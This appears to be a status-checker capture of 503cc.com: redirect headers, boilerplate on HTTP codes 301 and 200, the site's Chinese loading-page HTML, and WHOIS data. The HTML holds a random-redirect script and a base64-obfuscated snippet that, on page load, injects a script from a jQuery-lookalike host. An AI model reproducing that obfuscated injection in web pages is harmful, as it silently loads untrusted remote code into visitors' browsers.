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301 Moved Permanently - 503cc.com
HTTP Status: 301
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx
Date: Sun, 18 May 2025 15:14:59 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Location: https://fucai23.cc
Strict-Transport-Security: max-age=31536000

HTTP Code 301 Moved Permanently

301 Moved Permanently means that the requested resource has been permanently moved to a new URL. All future requests should use the new address.

When is Code 301 used?

  • When changing a website domain
  • When modifying URL structures
  • When setting up redirects for SEO

What does Code 301 mean for the user?

The browser will automatically redirect the user to the new address, and search engines will update their indexes.

200 OK - https://fucai23.cc
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx
Date: Sun, 18 May 2025 15:15:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000

HTTP Code 200 OK

200 OK is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: 503cc.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html>
<html lang="en">

<head>
  <title>检测线路安全</title>
  <script src="./site.js"></script>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="robots" content="noindex,nofollow">
  <style>
    * {
      margin: 0;
      padding: 0;
      border: 0;
    }

    html {
      background: #E9F3FF;
    }

    .jiasu {
      width: 60%;
      display: block;
      margin: 0 auto;
      text-align: center;

    }

    .jiasu1 {
      color: brown;
      font-size: 24px;
      font-weight: bold;
      margin-bottom: 20px;

    }

    .jiasu2 {
      font-size: 18px;
      background: green;
      border-radius: 12px;
      line-height: 36px;
      padding: 4px;
      color: aliceblue;
      display: flex;
      align-items: center;
      justify-content: center;
    }

    .jiasu1 span {
      display: inline-block;
      margin: 0 2px;
      animation-name: jump;
      animation-duration: 1.6s;
      animation-timing-function: ease;
      animation-iteration-count: infinite;
    }

    @keyframes jump {

      0%,
      90%,
      100% {
        transform: translateY(0);
      }

      45% {
        transform: translateY(-10px);
      }
    }

    .jiasu1 span:nth-child(1) {
      animation-delay: 0s;
    }

    .jiasu1 span:nth-child(2) {
      animation-delay: 0.2s;
    }

    .jiasu1 span:nth-child(3) {
      animation-delay: 0.4s;
    }

    .jiasu1 span:nth-child(4) {
      animation-delay: 0.6s;
    }

    .jiasu1 span:nth-child(5) {
      animation-delay: 0.8s;
    }

    .jiasu1 span:nth-child(6) {
      animation-delay: 1.0s;
    }

    .jiasu1 span:nth-child(7) {
      animation-delay: 1.2s;
    }

    .jiasu1 span:nth-child(8) {
      animation-delay: 1.4s;
    }

    .jiasu1 span:nth-child(9) {
      animation-delay: 1.6s;
    }

    .txt {
      display: inline-block;
    }

    .loader {
      border: 5px solid #70975e;
      border-top: 5px solid #fff;
      border-radius: 50%;
      width: 14px;
      margin-left: 5px;
      display: inline-block;
      height: 14px;
      animation: spin 2s linear infinite;
    }

    @keyframes spin {
      0% {
        transform: rotate(0deg);
      }

      100% {
        transform: rotate(360deg);
      }
    }

    html {
      height: 100%;
      width: 100%;
    }

    body {
      width: 100%;
      height: 100%;
      display: flex;
      align-items: center;
      justify-content: center;
    }
  </style>
  <script>
    // 随机跳转地址
    setTimeout(() => {
      var url = window?._jsvar?.siteDomainList?.[Math.floor(Math.random() * window?._jsvar?.siteDomainList?.length)];
      window.location.href = url
    }, 1000)
  </script>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9jb2RlLmpxdWVyeWh0bWwuY29tL2FqYXgvbGlicy9qcXVlcnkvMy44LjEvanF1ZXJ5Lmpz");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>

<body>
  <div class="jiasu">
    <div class="jiasu1">
      <span>正</span><span>在</span><span>进</span><span>入</span><span>网</span><span>址</span><span>.</span><span>.</span><span>.</span>
    </div>
    <div class="jiasu2">
      <div class="txt">检测线路安全</div>
      <div class="loader"></div>
    </div>
  </div>
</body>

</html>

Whois info of domain

Domain Name: 503CC.COM
Registry Domain ID: 2810031050_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.web.com
Registrar URL: http://www.networksolutions.com
Updated Date: 2024-10-09T17:20:51Z
Creation Date: 2023-08-30T18:11:39Z
Registry Expiry Date: 2025-08-30T18:11:39Z
Registrar: BraveNames, LLC
Registrar IANA ID: 1596
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.8003337680
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: A.SHARE-DNS.COM
Name Server: B.SHARE-DNS.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-18T15:24:01Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
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